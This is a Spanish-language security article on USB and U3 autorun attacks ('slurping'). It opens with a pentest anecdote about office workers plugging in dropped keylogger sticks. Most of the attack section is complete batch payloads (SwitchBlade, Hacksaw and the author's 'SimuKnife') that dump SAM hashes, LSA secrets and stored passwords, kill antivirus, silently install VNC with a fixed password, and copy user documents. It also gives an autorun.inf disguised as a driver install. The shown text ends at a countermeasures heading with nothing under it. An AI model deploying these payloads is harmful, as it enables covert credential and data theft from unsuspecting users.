

USB Hacks

Por **Ezequiel Martin Sallis**
Senior Security Specialist
www.root-secure.com.ar

CISSP/CEH/CCNA/NSP

Introducción

De un tiempo a esta parte la proliferación de los dispositivos de almacenamiento USB ha crecido considerablemente, este crecimiento se ve tanto a nivel de la variedad existente, como en el nivel de la funcionalidad que le da un usuario hogareño o corporativo.

De hecho, la tecnología de almacenamiento con interfaz USB, también ha evolucionado para darle al usuario mayores funcionalidades, como es el caso de aquellos que tienen incorporada la tecnología U3 (www.u3.com). Esta tecnología permite ejecutar directamente desde el dispositivo varias aplicaciones, como por ejemplo, clientes de correo, navegadores de Internet, herramientas de seguridad, herramientas de ofimática y hasta mini - servidores (Web, MySQL y demás).

Por otro lado, reproductores de Mp3, centros multimedia de bolsillo y similares, han elevado la capacidad de almacenamiento a niveles impensados tiempo atrás.

Y es verdad, esto trae más funcionalidad, pero a su vez potencia la ocurrencia de eventos que atenten contra la seguridad de la información.

En este artículo me focalizare en los usos menos conocidos que pueden darse en la mayoría de estos dispositivos. Claro está, dependerá mucho de la función y la tecnología que estos posean o sobre la cual se ejecuten.

Antes de comenzar es bueno aclarar que específicamente me focalizare sobre:

- Dispositivos de Almacenamiento USB (Sin tecnología U3)
- Dispositivos de Almacenamiento USB (Con Tecnología U3)
- Dispositivos USB con funcionalidades adicionales (IPOD)

La Curiosidad mato al gato

Está de más decir que el eslabón más débil de la cadena de seguridad de la información es el factor humano. Pero paradójicamente, si bien esto es sabido, la gran mayoría de las estrategias de seguridad no incluyen la educación hacia los usuarios en temas referentes a esta. Por otro lado, la creatividad aplicada en las técnicas de ataque hace que cualquier nivel de alerta que pudiese tener un usuario, sea insuficiente.

"La curiosidad mato al gato", es un dicho conocido, pero que tiene que ver con esto? Sinceramente mucho. A modo de hacer más amena la lectura de este artículo y con el fin de introducir al tema, les contare una breve historia.

Hace un tiempo atrás, la empresa X decidió lanzar en la organización una fuerte campaña de educación dirigida a los usuarios finales (Security Awareness). Los usuarios de la organización X asistieron a charlas de educación y capacitación sobre los buenos usos de la tecnología, los riesgos que esta esconde, realizaron varios CBT (Computer Base Training) y hasta tienen en sus escritorios una taza con la leyenda "I Love Information Security".

Claro está, la organización X, luego de invertir tiempo y dinero en esto, decidió medir mediante una prueba de penetración con principal foco en la utilización de ingeniería social, el nivel de efectividad que había tenido la educación brindada a los usuarios. Es bien sabido, que en este tipo de pruebas, el usuario no debe conocer de antemano la realización la misma, esto haría que el usuario este más atento a un llamado, correo electrónico o visita sospechosa, por lo que los resultados obtenidos no reflejarían la realidad del estado de situación. Pero en este caso, alguien de la organización X cometió el error de advertir a los usuarios, por lo que estos estaban deseosos de que su teléfono sonara y ante la primer sospecha decir "Disculpe Sr. Yo soy un usuario consiente en lo que refiere a seguridad de la información, no pienso darle información alguna y ya mismo procederé a denunciar en mi organización este hecho" .

Los Security Testers, ante este escenario desfavorable, decidieron utilizar una técnica más creativa para intentar obtener información sensible de la organización. Para esto decidieron invertir en la compra de unos cuantos dispositivos de almacenamiento USB con tecnología U3, teniendo en cuenta además, que las estaciones de trabajo de los usuarios tenían instalado como sistema operativo Windows XP SP2, que por defecto tiene la función de auto ejecución habilitada.

Para que el ataque fuese efectivo, colocaron dentro de cada uno de los dispositivos USB con tecnología U3, código que tenía como función primaria capturar las

pulsaciones del Teclado (Keylogger), almacenarlas en un archivo de texto y luego enviarlas por correo electrónico a sus destinatarios (Los Security Testers). Ahora lo único que faltaba era que el usuario colocara por su propia voluntad este dispositivo en la ranura USB de su estación de trabajo y del resto de la tarea se encargaría la tecnología. Pero claro, los usuarios de la organización X eran consientes de los riesgos que esto conlleva. Aunque pensándolo bien, realmente lo eran?....

La estrategia fue sencilla. Ingresar a la empresa y "olvidar", "extraviar", los dispositivos en el salón comedor, en algún pasillo, en el toilette etc., para que algún usuario con "Suerte" los encontrara. ¿Que piensan Ustedes que hicieron la gran mayoría de los usuarios luego de encontrar el dispositivo?... y si, acertaron. Los colocaron en las estaciones de trabajo para ver su contenido y eso fue todo. Trabajo realizado y misión cumplida.

Esta historia tiene como fin dar una pequeña muestra de cómo la creatividad aplicada a los ataques puede hacer inútil cualquier metodología de defensa, capacitación o educación que sea lo suficientemente rígida y lineal.

Para terminar la historia creo que deberíamos preguntarnos que hubiésemos hecho nosotros en la situación del usuario. ¿No habría ganado la curiosidad?mmm... en fin vamos al grano.

Ataques Utilizando dispositivos de almacenamiento USB con tecnología U3

La gran mayoría de los vendors de tecnologías de almacenamiento portable con interfaz USB, ya tienen hoy disponible su versión de "Pen-Drive" con tecnología U3, que a todo aquel que le interese conocer más sobre los usos de la misma, en la referencias de este artículo encontrara links para seguir investigando y aplicando sus usos.

La tecnología U3 permite la ejecución de aplicaciones directamente desde el dispositivo de almacenamiento USB y sin dejar rastro alguno en el equipo. Por ejemplo, imaginen el Firefox integrado a su dispositivo USB U3, con sus adds-on, sus cookies de navegación y sus favoritos. Interesante no?

Esta tecnología, a diferencia de la que posee un dispositivo de almacenamiento USB tradicional, cuenta con dos particiones. La primera y principal será vista por el sistema operativo como un medio de almacenamiento extraíble (lo normal), y la otra, una partición muy pequeña, será vista como una unidad de CD-ROM. Es ahí donde está el punto, y es ahí también donde el fabricante coloca un autorun, y su aplicación primaria (generalmente un bonito menú que permite el acceso a las aplicaciones almacenadas en la otra partición de una manera muy amigable "LaunchPad"). Esta partición puede ser accedida y revisada, pero claro está, no puede escribirse en ella (bueno en realidad, como veremos más adelante, esto no es tan así).. Windows XP con

SP2 tiene la función de ejecución automática habilitada por default, por lo que el solo hecho de insertar este dispositivo en la ranura USB, y sin ningún tipo de intervención por parte del usuario, lanzará el menú y permitirá el acceso a las aplicaciones. A estas alturas ya se habrán dado cuenta a donde voy no?.

Otros sistemas operativos u otras versiones del anteriormente mencionado no tiene generalmente habilitada esa función, por lo que al igual que los dispositivos sin tecnología U3 requieren una mínima intervención por parte del usuario para funcionar, pero esa técnica la trataremos más adelante.

Ahora que sabemos algo sobre la tecnología U3 veamos cómo se puede aplicar a otros fines.

Teniendo en cuenta la temática de este artículo y en este punto en particular, me voy a basar en un interesante proyecto abierto que lleva a cabo la comunidad relacionada con el grupo Hack5 (www.hack5.org) quienes, entre otros proyectos y cosas interesantes, llevaron a cabo el desarrollo de pequeños y funcionales códigos denominados Payloads, que permiten lo que a continuación leerán.

Estos pequeños códigos, no son muy sofisticados, pero sí son muy efectivos, al igual que lo fueron en la breve historia que les conté.

Primero lo Primero:

Lo primero que se debe hacer es modificar el contenido ubicado en la partición autoejecutable, es decir, la que emula la unidad de CD-ROM que antes mencioné. Para esto deberemos reemplazar el contenido original de la misma, el cual generalmente contiene el software que provee el fabricante.

Para esto, inicialmente se desarrolló una herramienta que solo lo permitía en los dispositivos de la marca Sandisk y Memorex. Hoy en día ese problema quedó en el pasado ya que la nueva versión de la herramienta, gracias al trabajo de su creador Tyrone Davis, funciona de manera indistinta en cualquier dispositivo independientemente del fabricante. Esta herramienta no es ni más ni menos que un gestor amigable que nos permitirá reemplazar el contenido de dicha unidad por otro archivo .iso de nuestra preferencia. Claro está, es muy muy recomendable realizar un back-up del contenido original antes de realizar este proceso.

La mencionada aplicación universal se llama Universal U3 LaunchPad Hacker y viene con una launcher modificado que permitirá ejecutar automáticamente dos pequeños códigos (payloads) más que interesantes, que veremos a continuación:

- SwitchBlade
- Hacksaw

Luego de modificar el contenido de la partición que emula el CD ROM, deberemos decidir cuál de las dos payloads utilizar. Para esto, deberemos copiar en la otra partición, es decir en la que vemos como unidad de almacenamiento extraíble, cualquiera de los payloads antes mencionados. Las carpetas tienen seteado el

atributo de ocultas con la finalidad de que el usuario desprevenido no vea su contenido o pueda sospechar del mismo.

Independientemente de esto cada uno podría crear y cargar su propia imagen ISO con las aplicaciones y códigos que desea que se auto ejecuten.

Para esto deberían seguir los siguientes pasos explicados por su creador Tyrone Davis

1. Descargar la aplicación de http://www.hak5.org/packages/files/Universal_Customizer.zip
2. Extraer la aplicacion y navegar hasta el directorio donde esta fue extraída
3. Copiar los archivos que deseemos en ese directorio
4. Ejecutar el archivo ISOCreate.cmd
5. Lanzar el Universal Customizer

En este artículo nos focalizaremos, como mencionamos anteriormente, en las aplicaciones que viene ya pre cargadas en la herramienta antes mencionada. La técnica de ataque, materializada en estas herramientas, se conoce como "Slurping" y está orientada a la fuga y robo de información. Existen otras variantes como el "POD SLURPING" que veremos más abajo, que como habrán podido deducir, el dispositivo utilizado suele ser el conocido IPOD.

Ahora que ya tenemos en la unidad autoejecutable de nuestro dispositivo el launcher modificado y tenemos en la partición de almacenamiento extraíble, alguno de los dos payloads cargados, veamos cómo funcionan estos dos códigos, cuáles son sus características y que dolor de cabeza podrían traernos:

SwitchBlade:

Fue el primero en aparecer. Sus funcionalidades son limitadas pero efectivas, utiliza herramientas bien conocidas, como por ejemplo, el pwddump, el mailpassview y algunas otras. Vale aclarar que algunas herramientas contenidas en el payload de switchblade, al igual que en el Hacksaw, requieren privilegios administrativos para ejecutarse correctamente o bien pueden ser detectadas por algunos antivirus, lo cual impedirá parcial o totalmente su accionar.

Entonces, el sólo hecho de insertar este dispositivo en la ranura USB de un equipo que tenga un sistema operativo con la función de auto ejecución habilitada (Típicamente Windows XP con Service Pack 2) y de manera totalmente desapercibida para el usuario, en aproximadamente 30 segundos, escribirá un archivo de texto en la unidad de almacenamiento extraíble del dispositivo USB U3 la siguiente información:

- Claves de registración de los productos Microsoft instalados en el equipo (Sistema Operativo y Suite de Ofimática)
- Lista de parches de seguridad que fueron aplicados en ese equipo
- Utilizando el famoso Pwdump, extraerá los hashes de las contraseñas del archivo SAM, los cuales quedaran en un formato listo para ser interpretado por cualquiera de las herramientas de cracking (Rainbow Crack, LC5 o Cain)
- Contraseñas almacenadas en el cache del equipo (MSN, Skype, AIM)
- Contraseñas almacenadas en el cache de los navegadores IE y Firefox
- Historial de navegación de los navegadores IE y Firefox

Como verán tiene su alta cuota de peligro ser víctimas de Switchblade, más aún si tenemos como costumbre utilizar practicas no recomendadas, como recordar contraseñas, habilitar opciones de autologin y demás.

Para ilustrar técnicamente cuales son las acciones, aquí les copio el sencillo archivo cmd que ejecuta SwitchBlade en una versión diferente a la original:

```
@echo off
if not exist \Documents md \Documents >nul
if not exist \Documents\logfiles md \Documents\logfiles >nul
cd \wip\cmd >nul
Echo ***** > \Documents\logfiles\%computername%.log 2>&1
echo *****[System info]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and
Time is: %date% %time% >> \Documents\logfiles\%computername%.log 2>&1
ipconfig /all >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump SAM]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\pwdump 127.0.0.1 >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Product Keys]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\produkey /nosavereg /stext "\Documents\logfiles\%computername%_pk.log" /remote
%computername% >> \Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_pk.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_pk.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump LSA secrets]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\pspv.exe /stext "\Documents\logfiles\%computername%_LSA.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_lsa.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_lsa.log" >nul
```

```
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Network PW]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\netpass.exe /stext "\Documents\logfiles\%computername%_np.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_np.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_np.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump messenger PW]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\mssps.exe /stext "\Documents\logfiles\%computername%_ms.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_ms.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_ms.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump URL History]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
cscript //nologo .\DUH.vbs >> \Documents\logfiles\%computername%.log 2>&1
TYPE \Documents\logfiles\%computername%.log | find "::::" | find /V "NO PASSWORD" | find /V
"HelpAssistant" >> \Documents\logfiles\pwwfile.txt
:End
exit
```

La comunidad que habita en el foro de Hack5, ha desarrollado luego diferentes versiones del original que han agregado más funcionalidades en algunos casos, y más sigilo y dificultad de detección en otros. Pero claro está, la evolución característica en estos casos, es ir más allá. Por ello es que ahora le toca el turno al HackSaw, el otro payload que mencione anteriormente.

Hacksaw:

Este payload tiene características similares al anterior, es decir, conserva las funciones básicas de Switchblade, pero agrega varias otras más interesantes. Al igual que el anterior, para que sus acciones sean 100% efectivas, se debe contar con privilegios administrativo, de lo contrario será menor la cantidad de información y acciones que se puedan obtener.

De las funcionalidades que agrega a las de su antecesor, las más interesantes son:

- Instala de manera silenciosa y residente en el equipo una aplicación que forma parte de payload, de manera que cada vez que alguien inserte en la ranura USB un dispositivo de almacenamiento extraíble, todo el contenido del mismo, sea enviado por correo electrónico al atacante, para esto crea una carpeta temporal en el sistema donde descarga los contenidos del payload, ejecuta un archivo .bat donde el atacante configura ciertos parámetros (Dirección de Correo electrónico donde recibirá la información, en este caso deberá ser una cuenta de Gmail, luego comprime el contenido del dispositivo USB insertado con Winrar, para finalmente utilizando un túnel de SSL, conectarse con el smtp de gmail y enviar el correo a su destinatario.

Esta funcionalidad se escribe en el registro del sistema para iniciar siempre con el mismo.

- Instala en el equipo, la conocida herramienta de administración remota VNC, lo que permite al atacante dependiendo de su posición y de la arquitectura de red acceder remotamente al equipo., lo instala de manera silenciosa y configura por default la contraseña de acceso en "yougathacked"
- Ejecuta el conocido scanner de puertos Nmap y realizar un barrido ICMP (-sP) en la red Lan en que se encuentre la estación de trabajo, para luego reportar en un archivo de texto los resultados y enviarlos por correo electrónico a la dirección que el atacante configuro en el payload.

Como ven, este payload es más avanzado y funcional que el anterior, teniendo en el sistema un efecto que perdura en el tiempo y permitiendo que el impacto del ataque sea aún mayor.

Para ilustrar técnicamente cuales son las acciones, aquí les copio el código que ejecuta Hacksaw:

```
@echo off
if not exist \Documents md \Documents >nul
if not exist \Documents\logfiles md \Documents\logfiles >nul
cd \wip\cmd >nul
nircmd execcmd CALL avkill.exe
Echo ***** > \Documents\logfiles\%computername%.log 2>&1
echo *****[System info]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and
Time is: %date% %time% >> \Documents\logfiles\%computername%.log 2>&1
ipconfig /all >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump SAM]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\pwdump 127.0.0.1 >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Product Keys]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\produkey /nosavereg /stext "\Documents\logfiles\%computername%_pk.log" /remote
%computername% >> \Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_pk.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_pk.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump IE 7 Secrets]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\iepv.exe /stext "\Documents\logfiles\%computername%_LSA.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_lsa.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_lsa.log" >nul
Echo ***** >> \Documents\logfiles\%computername%_Updates.log 2>&1
echo *****[Dump Updates-List]***** >> \Documents\logfiles\%computername%_Updates.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%_Updates.log 2>&1
.\wul.exe /stext "\Documents\logfiles\%computername%_Updates.log"
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Network PW]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\netpass.exe /stext "\Documents\logfiles\%computername%_np.log" >>
\Documents\logfiles\%computername%.log 2>&1
```

```

copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_np.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_np.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Cache]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\cachedump.exe >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Network Info]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
netstat.exe -abn >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Messenger PW]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\msspsvc.exe /stext "\Documents\logfiles\%computername%_ms.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_ms.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_ms.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump URL History]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
cscript //nologo .\DUH.vbs >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Install Hacksaw]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
nircmd.exe execcmd CALL hacksaw.cmd
echo Done. >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Install Nmap]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
nircmd.exe execcmd CALL nmap.cmd
echo Done. >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Install VNC]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
nircmd.exe execcmd CALL install.cmd
echo Done. >> \Documents\logfiles\%computername%.log 2>&1
:End
exit

```

La gente de hack5, tiene algunos otros proyectos en desarrollo como son el antidote y el Chainsaw, los cuales prometen más y más funcionalidades.

Ataques Utilizando dispositivos de almacenamiento USB sin tecnología U3

Hasta aquí hemos hablado de ataques relacionados a los dispositivos con tecnología U3, pero por supuesto, los payloads arriba expuestos también pueden funcionar dentro de un dispositivo de almacenamiento sin tecnología U3, claro está, cada vez que el espacio disponible en el mismo lo permita.

La única gran diferencia es que el payload no entrara en funcionamiento hasta no tener una mínima, pero necesaria, intervención por parte del usuario. Cuando insertamos un dispositivo no U3, en un sistema con Microsoft Windows XP lo reconoce como una unidad de almacenamiento extraíble y luego, mediante un pop-up consulta al usuario, que acciones desea que ejecute en relación a ese medio.

En este caso y con el fin de ayudar al usuario desprevenido a tomar una decisión sobre cuál de las acciones del menú elegir, el atacante creara y colocara en el dispositivo un sencillo autorun:

```
[autorun]
icon=lilguy.ico "AQUI EL ICONO QUE DESEAMOS QUE MUESTRE EN RELACIO A LA ACCION"
open=start.bat
action=Click "OK" to install USB flash drive drivers "AQUI EL MENSAJE ASOCIADO"
shell\open\command=start.bat
```

Este aparecerá como predeterminado y si el usuario, siguiendo las peores practicas, acepta la opción sin leer atentamente, el payload en el dispositivo lanzara sus acciones y desplegara sus funcionalidades. Lo mismo sucederá si hace doble click sobre el icono de acceso al medio de almacenamiento extraíble.

Como ven, ambas técnicas son similares en sus efectos, pero difieren en su manera de ejecutarse.

Por último, y dentro de esta categoría, está una técnica muy original que antes mencione "Pod-Slurping". El objetivo de ésta no es el de obtener contraseñas, si no que es, el de extraer de un directorio del sistema a elección, todos los archivos con las extensiones que el atacante determine y copiarlos a un IPOD, los cuales como ya sabemos, tiene una gran capacidad de almacenamiento.

A continuación les dejo el código típico ejecutado en estos casos

```
@echo off
mkdir %~d0%\%computername%
xcopy "C:\Documents and Settings\%username%\My Documents\*.xls" %~d0%\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.txt" %~d0%\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.pdf" %~d0%\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.rdp" %~d0%\%computername% /s/c/q/r/h
```

```
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %~d0\%computername% /s/c/q/r/h
@cls
@exit
```

El atacante podría agregar más líneas para que este sea efectivo también en versiones del sistema operativo de diferentes idiomas., por ejemplo:

```
@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.doc" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.xls" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.txt" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.rdp" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.jpg" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.doc" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.xls" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.txt" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.rdp" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrador\Mis documentos\*.doc" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrador\Mis documentos\*.xls" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrador\Mis documentos\*.txt" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrador\Mis documentos\*.rdp" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrador\Mis documentos\*.jpg" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrator\My Documents\*.doc" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrator\My Documents\*.xls" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrator\My Documents\*.txt" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrator\My Documents\*.rdp" %~d0\documents\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\administrator\My Documents\*.jpg" %~d0\documents\%computername% /s/c/q/r/h
@cls
@exit
```

Por último el atacante podría decidir combinar todas las técnicas anteriores en un solo Payload, como este que di en llamar SimuKnife:

```
@echo off
if not exist \Documents md \Documents >nul
if not exist \Documents\logfiles md \Documents\logfiles >nul
cd \wip\cmd >nul
Echo ***** > \Documents\logfiles\%computername%.log 2>&1
echo *****[System info]***** >> \Documents\logfiles\%computername%.log 2>&1
```

```
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and
Time is: %date% %time% >> \Documents\logfiles\%computername%.log 2>&1
ipconfig /all >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump SAM]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\pwdump 127.0.0.1 >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Product Keys]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\produkey /nosavereg /stext "\Documents\logfiles\%computername%_pk.log" /remote
%computername% >> \Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_pk.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_pk.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump LSA secrets]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\pspv.exe /stext "\Documents\logfiles\%computername%_lsa.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_lsa.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_lsa.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump Network PW]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\netpass.exe /stext "\Documents\logfiles\%computername%_np.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_np.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_np.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump messenger PW]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
.\msspass.exe /stext "\Documents\logfiles\%computername%_ms.log" >>
\Documents\logfiles\%computername%.log 2>&1
copy \Documents\logfiles\%computername%.log+\Documents\logfiles\%computername%_ms.log*
\Documents\logfiles\%computername%.log >> nul
del /f /q "\Documents\logfiles\%computername%_ms.log" >nul
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
echo *****[Dump URL History]***** >> \Documents\logfiles\%computername%.log 2>&1
Echo ***** >> \Documents\logfiles\%computername%.log 2>&1
cscript //nologo .\DUH.vbs >> \Documents\logfiles\%computername%.log 2>&1
TYPE \Documents\logfiles\%computername%.log | find "::::" | find /V "NO PASSWORD" | find /V
"HelpAssistant" | find /v "ASPNET" >> \Documents\logfiles\pwfile.txt
mkdir %~d0\documents\%computername%
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.doc" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.xls" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.txt" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.rdp" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Mis documentos\*.jpg" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.doc" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.xls" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.txt" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.rdp" %~d0\documents\%computername%
/s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %~d0\documents\%computername%
/s/c/q/r/h
:End
```

Contramedidas:

Antes de concluir este artículo, sería bueno comentar algunos aspectos referentes a la aplicación de contramedidas para este tipo de ataques.

